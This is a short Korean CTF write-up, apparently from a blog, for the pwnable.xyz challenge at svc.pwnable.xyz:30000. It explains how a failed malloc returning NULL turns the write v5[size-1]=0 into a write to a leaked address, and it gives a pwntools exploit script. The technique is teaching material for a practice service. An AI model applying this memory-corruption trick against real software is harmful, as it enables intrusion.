1. IDA
v3가 NULL이면 flag를 출력한다.
v3 주소를 실행 시 leak해주므로, 이것을 이용해서 어떻게 문제를 해결할지 생각해보자.
v5[size - 1] = 0
이것이 처음에는 단순히 문자열 끝에 NULL을 넣는 것이라고 생각했다.
하지만 이것과 v3 시작주소를 이용해서 v3를 0 값으로 만들 수 있다.
v5 = (char*)malloc(size);
malloc은 메모리 할당에 실패하면 NULL을 리턴한다.
따라서 size의 최대 크기보다 오버해서 read 함수로 size 크기를 받을 경우, 메모리 할당에 실패해서 v5에는 0이 리턴될 것이다.
따라서 v5가 0이 되고 나면,
0[size-1] = 0 이 되고, 결국 size - 1 위치에 0이 들어가게 된다.
size를 (v3의 시작주소 + 1)로 주면, size - 1은 v3의 시작주소가 되고, v3의 시작주소에 0이 덮어진다.
3. exploit code + exploit
#!/usr/bin/python
from pwn import *
p = remote("svc.pwnable.xyz", 30000)
p.recvuntil("Leak: ")
v3 = int(p.recvuntil("\n"), 16)
length = v3 + 1
p.sendlineafter("Length of your message: ", str(length))
p.sendlineafter("Enter your message: ", "AAAA")
p.interactive()
# exploit
[pwnable.xyz] Grownup (0) | 2019.09.27 |
---|---|
[pwnable.xyz] note (0) | 2019.09.27 |
[pwnable.xyz] misalignment (0) | 2019.09.17 |
[pwnable.xyz] add (0) | 2019.09.05 |
[pwnable.xyz] sub (0) | 2019.09.05 |